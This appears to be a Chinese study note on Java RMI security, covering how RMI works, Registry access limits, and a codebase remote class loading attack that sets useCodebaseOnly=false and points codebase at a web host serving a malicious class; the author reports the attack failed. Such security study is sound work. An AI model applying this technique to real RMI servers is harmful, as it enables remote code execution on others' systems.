Java安全学习之RMI

news2025/1/6 14:54:27

最近在看Phith0n师傅的知识星球的Java安全漫谈系列,随手记下笔记

RMI全称远程方法调用(Remote Method Invocation)。这是允许驻留在一个系统(JVM)中的对象调用在另一个JVM上运行的对象的一种机制,能够远程调用远程对象的方法。

RMI通信过程、原理

我们首先来分析下RMI的流程:

首先编写一个RMI Server

package RMI_Test;

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {
    public interface IRemoteHelloWorld extends Remote {
        public String hello() throws RemoteException;
    }

    public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld {
        protected RemoteHelloWorld() throws RemoteException {
            super();
        }

        public String hello() throws RemoteException {
            System.out.println("call from");
            return "Hello, World";
        }
    }

    private void start() throws Exception {
        RemoteHelloWorld h = new RemoteHelloWorld();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
    }

    public static void main(String[] args) throws Exception {
        new RMIServer().start();
    }
}

一个RMI Server的过程分为以下三个步骤:

  • 首先继承了java.rmi.Remote的接口,其中定义需要远程调用的方法,例如这里的hello()
  • 其次需要使用java.rmi.Remote的接口
  • 定义一个主类,用来创建Registry,并将上面的类实例化后绑定到一个地址

接着编写一个RMI Client:

package RMI_Test;

import java.rmi.Naming;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld) Naming.lookup("rmi://192.168.7.2:1099/Hello");
        String ret = hello.hello();
        System.out.println(ret);
    }
}

客户端使用Naming.lookupRegistry中寻找到名字是Hello的对象,这里虽说是执行远程方法的时候代码是在远程服务器上执行的,但实际上还是需要知道有哪些方法,这时候接口的重要性就体现了,这也是为什么需要继承Remote并将我们需要调用的方法写在接口IRemoteHelloWorld里,因为客户端也需要用到这个接口。

这里使用WrireShark抓包来分析理解RMI的通信过程:

选择回环口
在这里插入图片描述

在这里插入图片描述

这就是RMI完整的通信过程,可以发现整个过程进行了两次TCP握手,也就是建立了两次TCP连接

第一次建立TCP连接是连接到远端192.168.135.1421099端口,这也是服务端设置的端口(1099是RMI通信的默认端口),连接后客户端向远端发送了一个Call消息,远端回复了一个ReturnData消息,然后客户端新建了一个TCP连接到远端的24641端口

那么为什么会连接24641端口呢?,在ReturnData这个包中,返回了目标的IP地址192.168.7.2,其后的两个字节就是24641的十六进制:

>>> int("6041", 16)
24641

在这里插入图片描述

这段数据从ac ed开始往后就是Java序列化数据了,IP和端口只是这个对象的一部分,捋一捋这整个过程:

  • 首先客户端连接Registry,并在其中寻找Name是Hello的对象,这个对应数据流中的Call消息;然后Registry返回一个序列化数据,这个就是找到的Name=Hello的对象,这个对应数据流中的ReturnData消息;客户端反序列化该对象,发现该对象是一个远程对象,地址在192.168.7.2:24641,于是再与这个地址建立TCP连接,在这个新的连接中,才执行真正的方法调用,也就是hello()

在这里插入图片描述
RMI Registry就像一个网关,它自己是不会执行远程方法的,但是RMI Server可以在上面注册一个Name到对象的绑定关系RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server;最后,远程方法实际上在RMI Server上调用。

接下来来看下RMI的底层架构是如何实现的:

在这里插入图片描述

RMI底层通讯采用了Stub(运行在客户端)Skeleton(运行在服务端)机制,RMI调用远程方法的底层通讯大致如下:

  1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)
  2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象
  3. RemoteCall序列化RMI服务名称Remote对象
  4. RMI客户端远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端远程引用层
  5. RMI服务端远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
  6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化
  7. Skeleton处理客户端请求:bindlistlookuprebindunbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端
  8. RMI客户端反序列化服务端结果,获取远程对象的引用
  9. RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端
  10. RMI客户端反序列化RMI远程方法调用结果

如何攻击RMI Registry?

首先,RMI Registry是一个远程对象管理的地方,可以理解为一个远程对象的”后台“,当我们尝试直接访问”后台“功能,如果尝试直接访问”后台“功能,会出现报错,因为Java对远程访问RMI Registry做了限制,只有来源地址是localhost的时候,才能调用rebindbindunbind等方法,不过listlookup方法可以远程调用。

在这里插入图片描述

lookup的作用就是获取某个远程对象,那么只要目标服务器上存在一些危险方法,我们就可以通过RMI对其进行调用,例如工具:https://github.com/NickstaDB/BaRMIe,其中一个功能就是进行危险方法的探测。

RMI利用codebase执行任意代码

Applet是采用Java编程语言编写的小应用程序,该程序可以包含在 HTML(标准通用标记语言的一个应用)页中,与在页中包含图像的方式大致相同。含有Applet的网页的HTML文件代码中部带有<applet></applet>这样一对标记,当支持Java的网络浏览器遇到这对标记时,就将下载相应的小应用程序代码并在本地计算机上执行该Applet。

<applet code="HelloWorld.class" codebase="Applets" width="800" height="600"></applet>

在使用Applet的时候通常需要指定一个codebase属性,而RMI在远程加载的场景中,也会涉及到codebasecodebase是一个地址,告诉Java虚拟机前往指定的地址搜索类,类似CLASSPATH,但是CLASSPATH是本地路径,而codebase通常是远程URL

例如指定codebase=http://example.com/,然后加载org.vulhub.example.Example类,则Java虚拟机会下载这个文件http://example.com/org/vulhub/example/Example.class,并作为Example类的字节码

在RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象,这些对象在反序列化时,就回去寻找类,如果某一段反序列化时发现一个对象,那么就回去本地CLASSPATH下寻找相对应的类;如果在本地没有找到这个类,就会去远程加载codebase中的类。

如果控制了codebase,就可以加载自己构造的恶意类,可以将codebase随着序列化数据一起传输,服务器在接收到这个数据后就会去CLASSPATH和指定的codebase寻找类,导致RCE

不过需要满足如下条件的RMI服务器才能被攻击:

  • 安装并配置了SecurityManager
  • Java版本低于7u216u45或者设置了java.rmi.server.useCodebaseOnly=false
    其中java.rmi.server.useCodebaseOnly是在Java 7u216u45的时候修改的一个默认配置,官方将java.rmi.server.useCodebaseOnly的默认值由false改为了true。在java.rmi.server.useCodebaseOnly配置为true的情况下,Java虚拟机将只信任预先配置好的codebase,不再支持从RMI请求中获取。

这里Phith0n师傅提供了一个案例:
服务端:

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;

public interface ICalc extends Remote {
    public Integer sum(List<Integer> params) throws RemoteException;
}
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;

public class Calc extends UnicastRemoteObject implements ICalc {
    public Calc() throws RemoteException {}

    public Integer sum(List<Integer> params) throws RemoteException {
        Integer sum = 0;
        for (Integer param : params) {
            sum += param;
        }
        return sum;
    }
}
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RemoteRMIServer {
    private void start() throws Exception {
        if (System.getSecurityManager() == null) {
            System.out.println("setup SecurityManager");
            System.setSecurityManager(new SecurityManager());
        }

        Calc h = new Calc();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("refObj", h);
    }

    public static void main(String[] args) throws Exception {
        new RemoteRMIServer().start();
    }
}

client.policy,放在jdk1.8.0_341\jre\lib\security\下,不过运行的时候最好用绝对路径

grant {
	permission java.security.AllPermission;
};

运行

javac *.java
java -Djava.rmi.server.hostname=192.168.135.142 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RemoteRMIServer

客户端

import java.io.Serializable;
import java.rmi.Naming;
import java.util.ArrayList;
import java.util.List;

public class RMIClient implements Serializable {
    public class Payload extends ArrayList<Integer> {}

    public void lookup() throws Exception {
        ICalc r = (ICalc) Naming.lookup("rmi://192.168.50.3:1099/refObj");
        List<Integer> li = new Payload();
        li.add(3);
        li.add(4);

        System.out.println(r.sum(li));
    }

    public static void main(String[] args) throws Exception {
        new RMIClient().lookup();
    }
}

这个Client我们需要在另一个位置运行,因为我们需要让RMI Server在本地CLASSPATH里找不到类,才
会去加载codebase中的类,所以不能将RMIClient.java放在RMI Server所在的目录中。

java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient

我们只需要编译一个恶意类,将其class文件放置在Web服务器的/RMIClient$Payload.class即可。

不过我这里并没有执行成功,尝试过很多解决方法都不行(java版本问题,classpath问题,目录问题都尝试过),如果有师傅这一步能成功加载到codebase的,希望通过以下联系方式加个好友,想请教下,有偿,谢谢。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/425187.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SSM实战-外卖项目-06-用户地址簿功能、菜品展示、购物车、下单(一个业务涉及5张表)

文章目录外卖项目-第六天课程内容1. 用户地址簿功能1.1 需求分析1.2 数据模型1.3 导入功能代码1.4 功能测试 &#xff08;其实需求分析里我就自己写了一份代码&#xff0c;而且测试过了&#xff0c;下面再测试了一遍&#xff09;2. 菜品展示2.1 需求分析2.2 前端页面分析2.3 代…

关于二叉树访问顺序的选择题

第一题&#xff1a; 从题目中我们可以得出这是棵完全二叉树&#xff08;最后一列不满&#xff0c;且连续&#xff09;&#xff0c;层次顺序。 我们可以推出树的形状&#xff1a; 我们现根据层次遍历的性质画出出栈的图&#xff1a; ABCDEFGH 最开始是A所以第一个位置为A&…

STC单片机波特率初值计算以及通用串口配置程序

STC单片机波特率初值计算以及通用串口配置程序&#x1f516;这里以STC15手册上的数据展开。&#x1f530;串口模式一&#xff1a;可变波特率8位数据方式。以为最为常用的配置模式。&#x1f33f;定时器1模式0:16位定时器计数器&#x1f33f;定时器1模式2:8位定时器计数器 ✨当然…

linux高级存储功能

高级存储功能 1、Stratis管理分层存储 通过Stratis&#xff0c;便捷的使用精简配置&#xff08;thin provisioning&#xff09;&#xff0c;快照&#xff08;snapshots&#xff09;和基于池&#xff08;pool-based&#xff09;的管理和监控的等高级存储功能。 &#xff08;1&a…

加拿大亚马逊FBA海运收费标准有哪些

众所周知&#xff0c;加拿大亚马逊的海运物流费用一般有头程运费、尾端派送费和仓储费等其他费用。那么&#xff0c;加拿大亚马逊FBA海运收费标准有哪些呢?接下来一起来了解下加拿大亚马逊FBA海运收费标准和费用。加拿大亚马逊FBA海运收费标准有哪些? 加拿大亚马逊FBA海运收费…

《Java8实战》第6章 用流收集数据

collect 是一个归约操作&#xff0c;就像 reduce 一样可以接受各种做法作为参数&#xff0c;将流中的元素累积成一个汇总结果。具体的做法是通过定义新的Collector 接口来定义的&#xff0c;因此区分 Collection、Collector 和 collect 是很重要的。用 collect 和收集器能够做什…

PADS-微处理器、USB转UART芯片、MINI-USB PCB封装设计

目录 1 微处理器PCB封装设计 2 USB转UART芯片PCB封装设计 3 MINI-USB PCB封装设计 4 添加验证 详细步骤不再文字说明&#xff0c;直接截取关键步骤截图 1 微处理器PCB封装设计 查看芯片手册 器件高度 器件高度1.6 管脚中心点间距0.5&#xff0c;管脚焊盘长1.2、宽0.3&…

[ 云计算 | Azure ] Chapter 04 | 核心体系结构之数据中心、区域与区域对、可用区和地理区域

本章节主要内容进行讲解&#xff1a;Azure云计算的核心体系结构组件中的&#xff1a;Azure物理基础设施&#xff08;Physical infrastructure&#xff09;&#xff0c;区域&#xff08;Regions&#xff09;和区域对&#xff08;Region Pairs&#xff09;、地理数据中心&#xf…

一文解决ethtool 原理介绍和解决网卡丢包排查思路

前言 之前记录过处理因为 LVS 网卡流量负载过高导致软中断发生丢包的问题&#xff0c;RPS 和 RFS 网卡多队列性能调优实践[1]&#xff0c;对一般人来说压力不大的情况下其实碰见的概率并不高。这次想分享的话题是比较常见服务器网卡丢包现象排查思路&#xff0c;如果你是想了解…

UE 简单插件制作

本文主要是提供几个写UE插件的实例&#xff0c;借此来了解在UE里使用C创建自定义插件的做法&#xff1a; 写一个使场景变暗的简单插件写一个自定义窗口&#xff0c;展示项目里所有的动画资产 写一个使场景变暗的简单插件 参考&#xff1a;Unreal Engine 5 - Writing Plugins …

统信UOS专业版系统安装教程 - 手动分区安装UOS系统

全文导读&#xff1a;本文主要介绍了安装UOS系统过程中使用手动分区安装方法&#xff0c;一般没有特殊要求建议使用全盘安装UOS系统。 准备环境 制作好统信UOS专业版启动U盘 一台CPU频率≥2GHz、内存≥4GB、硬盘≥64GB的电脑 安装步骤 一、制作UOS 系统启动盘 制作UOS 系…

自动驾驶TPM技术杂谈 ———— CCRT验收标准(评分标准)

文章目录介绍评价方法指标体系算分方法一级指标二级指标三级指标四级指标五级指标行车辅助能力得分说明跟车能力得分说明前车静止识别与响应得分说明前车低速识别与响应得分说明前车减速识别与响应得分说明前车切入识别与响应得分说明前车切出识别与响应得分说明跟随前车起停得…

数据结构小知识------时间与空间复杂度

本章思维导图&#xff1a; 一&#xff0c;时间复杂度 1.1时间复杂度的概念 &#x1f310;&#xff1a;什么是时间复杂度呢&#xff1f;时间复杂度其实就是一个程序运行时它的指令运行的次数。 在这里&#xff0c;程序默认每条指令的运行时间是一样的。所以时间复杂度就可以理解…

【云原生进阶之容器】第六章容器网络6.4.2--Flannel的安装与部署

1 flannel的安装与部署 见链接一篇文章带你了解Flannel - Flannel - 操作系统 - 深度开源 1.1 部署环境规划 1.2 安装部署 #tar -xf flannel-v0.13.0.tar.gz #mv /apps/svr/flannel-v0.13.0 #ln –svfn /apps/svr/flannel-v0.13.0 /apps/svr/flannel 1.2.1 调整Flannel配置…

设计模式(超详细)

设计模式 原则 什么是SOLID原则&#xff1f; S单一职责SRP Single-Responsibility Principle 一个类,最好只做一件事,只有一个引起它的变化。单一职责原则可以看做是低耦合,高内聚在面向对象原则的引申,将职责定义为引起变化的原因,以提高内聚性减少引起变化的原因。 比如…

项目资源管理流程:五步专业指南

项目资源管理是描述大多数项目经理的一项关键职能的方式——收集完成工作所需的团队成员、设备和其他材料&#xff08;也称为资源&#xff09;。 以下是项目资源管理的步骤清单&#xff1a; 步骤1&#xff1a;资源规划 为了确定完成项目的资源需求&#xff0c;你首先需要了…

SpringCloud-Gateway实现网关

网关作为流量的入口&#xff0c;常用的功能包括路由转发、权限校验、限流等Spring Cloud 是Spring官方推出的第二代网关框架&#xff0c;由WebFluxNettyReactor实现的响应式的API网关&#xff0c;它不能在传统的servlet容器工作&#xff0c;也不能构建war包。基于Filter的方式提…

个人开发者如何选择阿里云服务器配置CPU内存带宽?

阿里云服务器个人用怎么选择&#xff1f;云服务器吧建议选择ECS共享型s6&#xff0c;不限制CPU性能&#xff0c;选择1核2G或2核4G都可以&#xff0c;云服务器s6处理器采用2.5 GHz主频的Intel Xeon Platinum 8269CY&#xff08;Cascade Lake&#xff09;&#xff0c;睿频3.2 GHz…

【论文阅读--WSOL】Spatial-Aware Token for Weakly Supervised Object Localization

文章目录方法实验Limitation论文&#xff1a;https://arxiv.org/abs/2303.10438代码&#xff1a;https://github.com/wpy1999/SAT/blob/main/Model/SAT.py方法 这篇文章的方法应该属于FAM这一类。 额外添加的一个spatial token&#xff0c;从第10-12层开始&#xff0c;利用其得…

Vue3技术1之Vue3简介、创建Vue3工程、分析工程结构、安装开发者工具与初识setup

Vue3技术1Vue3简介发展提升创建Vue3工程使用vue-cli创建使用vite创建分析工程结构&#xff08;由vue-cli创建的&#xff09;main.jsvue.config.jsApp.vue安装开发者工具初识setupsetup的两种返回值返回一个对象App.vue返回一个函数App.vueVue2与Vue3混合使用App.vue总结Vue3简介…